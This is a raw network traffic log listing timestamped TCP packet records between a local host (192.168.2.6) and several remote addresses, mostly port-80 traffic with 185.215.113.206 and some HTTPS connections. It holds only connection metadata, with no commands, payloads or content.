Nov 20, 2024 14:43:45.343049049 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.343206882 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.343269110 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.343269110 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.344116926 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.344204903 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.344394922 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.344656944 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.345159054 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.345223904 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.345722914 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.345835924 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.346131086 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.346313953 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.346431971 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.346481085 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.347167969 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.347220898 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.347621918 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.347682953 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.348169088 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.348349094 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.348424911 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.348468065 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.349261999 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.349335909 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.349351883 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.349482059 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.350191116 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.350236893 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.350327015 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.350383997 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.351280928 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.351357937 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.351387024 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.351417065 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.352282047 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.352297068 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.352327108 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.352349997 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.353331089 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.353394985 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.353461027 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.353511095 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.354317904 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.354343891 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.354417086 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.355277061 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.355489969 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.356122017 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.356200933 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.356282949 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.356380939 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.356631994 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.356674910 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.357301950 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.357367039 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.357368946 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.357413054 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.358371019 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.358485937 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.358544111 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.359415054 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.359570980 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.359587908 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.359741926 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.360404015 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.360476971 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.360483885 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.360565901 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.361417055 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.361480951 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.361602068 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.361644983 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.362452984 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.362518072 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.362528086 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.362569094 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.363430023 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.363492012 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.363764048 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.363838911 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.364470959 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.364495039 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.364520073 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.364531040 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.364749908 CET	443	49880	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:45.364830971 CET	443	49880	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:45.364892006 CET	49880	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:45.365535021 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.365736961 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.365880966 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.365927935 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.366493940 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.366569042 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.366730928 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.366770983 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.367541075 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.367614031 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.367651939 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.367700100 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.368567944 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.368619919 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.368865013 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.368915081 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.369570971 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.369652033 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.369781017 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.369822979 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.370611906 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.370626926 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.370662928 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.370696068 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.371578932 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.371650934 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.371812105 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.371934891 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.372664928 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.372724056 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.372880936 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.372931957 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.373723030 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.373738050 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.373795033 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.373795033 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.374656916 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.374711990 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.374839067 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.374936104 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.375648975 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.375720024 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.375731945 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.375770092 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.376749039 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.376806974 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.376813889 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.376859903 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.377783060 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.377917051 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.377939939 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.378125906 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.378770113 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.378856897 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.378906965 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.379826069 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.379899979 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.379924059 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.379976034 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.380800009 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.380851030 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.380985022 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.381028891 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.381882906 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.381994963 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.382136106 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.382201910 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.382989883 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.383013964 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.383045912 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.383071899 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.383907080 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.383949995 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.384124994 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.384170055 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.384871006 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.384917974 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.384953022 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.385128975 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.385967970 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.386172056 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.386682987 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.386732101 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.386910915 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.386924028 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.386962891 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.386996984 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.387969971 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.388019085 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.388353109 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.388397932 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.389111042 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.389213085 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.389561892 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.389607906 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.390043974 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.390105963 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.390132904 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.390172958 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.390973091 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.391033888 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.391767025 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.391824007 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.392055035 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.392071009 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.392194033 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.393003941 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.393062115 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.393120050 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.393254995 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.394032001 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.394092083 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.394445896 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.394505978 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.394949913 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.395004034 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.396789074 CET	49880	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:45.396816969 CET	443	49880	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:45.396830082 CET	49880	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:45.396836042 CET	443	49880	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:45.401169062 CET	49884	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.401180029 CET	49886	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.405200958 CET	49904	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:45.405268908 CET	443	49904	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:45.405359030 CET	49904	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:45.405545950 CET	49904	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:45.405576944 CET	443	49904	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:45.476459980 CET	443	49888	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:45.476547003 CET	49888	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:45.477102041 CET	49888	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:45.477113008 CET	443	49888	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:45.477464914 CET	49888	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:45.477471113 CET	443	49888	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:45.477673054 CET	49888	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:45.477678061 CET	443	49888	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:45.486840963 CET	443	49882	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:45.486910105 CET	443	49882	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:45.486984968 CET	49882	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:45.487243891 CET	49882	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:45.487293959 CET	443	49882	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:45.487348080 CET	49882	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:45.487370968 CET	443	49882	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:45.490434885 CET	49905	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:45.490480900 CET	443	49905	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:45.490550995 CET	49905	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:45.490700960 CET	49905	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:45.490731001 CET	443	49905	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:45.536689997 CET	443	49886	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.536751986 CET	443	49886	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.536911964 CET	443	49886	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.536941051 CET	49886	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.536986113 CET	49886	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.537842989 CET	49886	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.537852049 CET	443	49886	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.538336039 CET	49906	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.538367987 CET	443	49906	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.538434029 CET	49906	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.538954973 CET	49906	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.538966894 CET	443	49906	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.545150995 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.545213938 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.546570063 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.546684980 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.694088936 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694113970 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694137096 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694149017 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694159985 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694170952 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694174051 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.694183111 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694194078 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694205999 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694211960 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.694226980 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.694241047 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694253922 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694257021 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.694267988 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694279909 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694323063 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694334030 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694344997 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694355965 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694366932 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694379091 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694390059 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694402933 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694415092 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694430113 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694436073 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694437981 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694443941 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694456100 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694472075 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694484949 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694523096 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694535017 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694561958 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694572926 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694588900 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694591045 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694596052 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694607019 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694622040 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694633961 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694645882 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694659948 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694670916 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694684029 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694719076 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694731951 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694741964 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694752932 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694763899 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694776058 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694787025 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694797993 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694808960 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694819927 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694829941 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694840908 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694853067 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694866896 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694917917 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694930077 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694936037 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694947958 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694958925 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694971085 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694981098 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.694986105 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695003986 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695015907 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695028067 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695040941 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695050955 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695061922 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695090055 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695097923 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695108891 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695122004 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695136070 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695146084 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695158958 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695168972 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695180893 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695192099 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695203066 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695214033 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.695228100 CET	80	49800	185.215.113.206	192.168.2.6
